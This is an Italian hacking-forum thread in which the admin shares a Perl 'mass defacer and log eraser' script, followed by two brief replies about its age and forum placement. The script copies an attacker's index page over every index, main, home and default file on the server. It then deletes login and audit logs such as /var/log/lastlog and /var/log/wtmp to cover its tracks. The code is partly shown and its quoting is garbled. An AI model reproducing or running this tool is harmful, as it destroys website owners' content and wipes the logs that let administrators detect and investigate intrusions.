| Precedente :: Successivo |
| Autore |
Messaggio |
admin
Founder
Registrato: Oct 03, 2008
Messaggi: 261
|
 Inviato: Dom Mag 17, 2009 10:42 pm Oggetto: [Perl] Mass Defacer and Log Eraser (ex priv8) |
 |
|
| Codice: | #########################################################################################################
# MSRml V 0.1 #
# #
# MOROCCO.SECURITY.RULZ mass defacer and log eraser #
# #
# coded by PRI[ll #
# #
# !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
# #
# 05/07/2005 #
# #
# usage : perl MSRml.pl <path to index> #
# #
# example : perl MSRml.pl /tmp/index.html #
# #
# [Only registered and activated users can see links. Click Here To Register...] #
#########################################################################################################
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
system "echo -e "\033[01;34mStarted MSRml V0.1 by PRI[ll Ok !!\033[01;37m"n";
system "echo -e "\033[01;37mDefacing all homepages ..."n";
system "find / -name "index*" -exec cp $index {} \;";
system "find / -name "main*" -exec cp $index {} \;";
system "find / -name "home*" -exec cp $index {} \;";
system "find / -name "default*" -exec cp $index {} \;";
system "echo -e "\033[01;37m[+] done ! all sites in this box should be defaced !"n";
system "echo -e "\033[01;37m----------------------------------------------------------"n";
system "echo -e "\033[01;37mCleaning up logs ..."n";
system "echo -e "\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m"n";
if( -e "/var/log/lastlog" )
{
system 'rm -rf /var/log/lastlog';
system "echo -e "\033[01;37m[*]/var/log/lastlog -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/log/lastlog - No such file or directory\033[01;37m"n";
}
if( -e "/var/log/wtmp" )
{
system 'rm -rf /var/log/wtmp';
system "echo -e "\033[01;37m[*]/var/log/wtmp -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/log/wtmp - No such file or directory\033[01;37m"n";
}
if( -e "/etc/wtmp" )
{ |
|
|
| Torna in cima |
|
 |
Takedown
Lettore
Registrato: May 17, 2009
Messaggi: 40
|
| Inviato: Lun Mag 18, 2009 5:10 pm Oggetto: |
|
|
Ci credo che è un ex priv8! 05/07/2005 XD XD
Ma è perl questo giusto?
Perchè l'hai messo quì sul PHP? |
|
| Torna in cima |
|
|
admin
Founder
Registrato: Oct 03, 2008
Messaggi: 261
|
| Inviato: Lun Mag 18, 2009 10:13 pm Oggetto: |
|
|
si è un ex priv 8
ed è anche in linguaggio perl
eh si lo devo spostare xd xd xd grz per la segnalazione xd |
|
| Torna in cima |
|
|
|
FAQ
Cerca
Lista degli utenti
Gruppi utenti
Profilo
Messaggi Privati
Login
